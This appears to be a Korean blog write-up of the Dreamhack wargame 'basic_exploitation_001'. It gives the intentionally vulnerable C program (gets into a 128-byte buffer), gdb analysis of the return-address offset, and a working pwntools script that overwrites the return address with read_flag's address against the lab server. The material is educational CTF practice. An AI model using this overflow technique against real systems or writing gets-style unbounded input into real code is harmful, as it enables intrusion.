[Dreamhack]SystemHacking/λ‘œλ“œλ§΅_Basic

[Dreamhack] Level1: basic_exploitation_001

Yun2πŸ‘ 2023. 8. 28. 00:05
λ°˜μ‘ν˜•

πŸ›ŽοΈ Access

이 λ¬Έμ œλŠ” μ„œλ²„μ—μ„œ μž‘λ™ν•˜κ³  μžˆλŠ” μ„œλΉ„μŠ€(basic_exploitation_001)의 λ°”μ΄λ„ˆλ¦¬μ™€ μ†ŒμŠ€ μ½”λ“œκ°€ μ£Όμ–΄μ§‘λ‹ˆλ‹€.
ν”„λ‘œκ·Έλž¨μ˜ 취약점을 μ°Ύκ³  μ΅μŠ€ν”Œλ‘œμž‡ν•΄ “flag” νŒŒμΌμ„ μ½μœΌμ„Έμš”.
“flag” 파일의 λ‚΄μš©μ„ μ›Œκ²Œμž„ μ‚¬μ΄νŠΈμ— μΈμ¦ν•˜λ©΄ 점수λ₯Ό νšλ“ν•  수 μžˆμŠ΅λ‹ˆλ‹€. ν”Œλž˜κ·Έμ˜ ν˜•μ‹μ€ DH{…} μž…λ‹ˆλ‹€.

 

 

 

πŸ‘Ύ Exploit Algorithm & Payload

더보기

#basic_exploitation_001.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

 #Environment

Ubuntu 16.04
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

 

 

#1


$ checksec --file basic_exploitation_001
$ readelf -h basic_exploitation_001

: 보호 기법과, ELF 포맷을 λΆ„μ„ν•˜κΈ° μœ„ν•΄ λ‹€μŒκ³Ό 같은 μ½”λ“œλ₯Ό μ‚¬μš©ν•œλ‹€.

: μœ μ‚¬ wargame인 'basic_exploitation_000' κ³Ό λ‹€λ₯Έ 점은 nx bitκ°€ μ‘΄μž¬ν•œλ‹€λŠ” 점이닀.

(-> shellcode μ‚½μž… λΆˆκ°€)

(32bit 리틀엔디언, relro μ—†μŒ, μΉ΄λ‚˜λ¦¬ μ—†μŒ, pie μ—†μŒ)

 

 

#2


 : μŠ€νƒμ˜ κΈ°λ³Έ λ©”λͺ¨λ¦¬ κ΅¬μ‘°μ—μ„œ 32bitμ—μ„œλŠ” Buffer + SFP[4byte] + RET[4byte]이닀.

: buf[0x80] (128byte)만큼 μ£Όμ†Œκ°€ ν• λ‹Ήλ˜λŠ”λ° μ—¬κΈ°μ„œ getsν•¨μˆ˜λ‘œ buf 배열에 μž…λ ₯을 μ €μž₯함을 μ•Œ 수 μžˆλ‹€.

(128byte+4byte=132byte후에 RETμ£Όμ†Œ)

: ν•˜μ§€λ§Œ getsλŠ” μž…λ ₯ 값에 λŒ€ν•œ μ œν•œμ΄ μ—†κΈ° λ•Œλ¬Έμ— BOF(Buffer OverFlow)취약점이 λ°œμƒν•œλ‹€λŠ” 것을 νŒŒμ•…ν•  수 μžˆλ‹€.

 

'a' 131번 μž…λ ₯
'a' 131번 μž…λ ₯ κ²°κ³Ό ret의 μ£Όμ†Œ
'a' 132번 μž…λ ₯ (core dump)
'a' 132번 μž…λ ₯ κ²°κ³Ό ret의 μ£Όμ†Œ λ³€ν™”

더보기
$ gdb basic_exploitation_001
pwndbg> info func
pwndbg> print read_flag 
#$1 = {<text variable, no debug info>} 0x80485b9 <read_flag>

pwndbg> disassemble main
# 0x080485db <+15>: call 0x80483d0 <gets@plt>
# 0x080485e0 <+20>: add esp,0x4
# ...
# 0x080485e9 <+29>: ret


pwndbg> b *main+20
Breakpoint 1 at 0x80485e0


pwndbg> b *main+29
Breakpoint 2 at 0x80485e9


pwndbg> r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
#'a' 131


pwndbg> c
Continuing.
# ni , finish, ...

pwndbg> r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
# 'a' 132
# ni , finish, ...

: 이렇듯 gdb 디버깅을 ν†΅ν•΄μ„œλ„ BOF 취약점을 λ©”λͺ¨λ¦¬λ‘œ 뢄석할 수 μžˆλ‹€.

 

 

πŸ”‘Analysis and results for obtaining the Flag DH{…}


더보기

from pwn import *

r = remote("host3.dreamhack.games", 19695)

read_flag = 0x80485b9

payload = b"\x61"*132
payload += p32(read_flag)

r.sendline(payload)
r.interactive()

: μ½”λ“œμ—μ„œλŠ” read_flag ν•¨μˆ˜λ₯Ό ν˜ΈμΆœν•˜μ§€ μ•Šμ§€λ§Œ μžˆλŠ” 것을 μ•Œ 수 μžˆμ—ˆκΈ°μ— read_flag의 μ£Όμ†Œλ₯Ό μ•Œμ•„λ‚Έ ν›„, λ¦¬ν„΄μ£Όμ†Œ(RET)에 read_flag μ£Όμ†Œλ‘œ λ³€κ²½ν•˜κ²Œ 되면 값을 확인할 수 μžˆλ‹€.

(pwndbg> print read_flag #$1 = {<text variable, no debug info>} 0x80485b9 <read_flag>)

: python pwdλ₯Ό μ΄μš©ν•˜μ—¬ ν”Œλž˜κ·Έλ₯Ό 확득할 수 μžˆλ‹€.

 

 

 

πŸ“Œ Summary


BOFλŠ” 버퍼가 λ„˜μΉ  수 μžˆλŠ” μ½”λ“œλ₯Ό 특히 μ£Όμ˜ν•΄μ•Όν•œλ‹€.

 

| BOF에 μ·¨μ•½ν•œ ν•¨μˆ˜ |

: μ²˜λ¦¬ν•˜λŠ” λ¬Έμžμ—΄μ˜ μ΅œλŒ€ 크기λ₯Ό μ •ν•˜μ§€ μ•ŠλŠ” ν•¨μˆ˜

 

• strcpy

strcat

gets

fscanf

sprintf

vfscanf

vsprintf

vscanf

vsscanf

streadd

streadd

strecpy

strtms

 
λ°˜μ‘ν˜•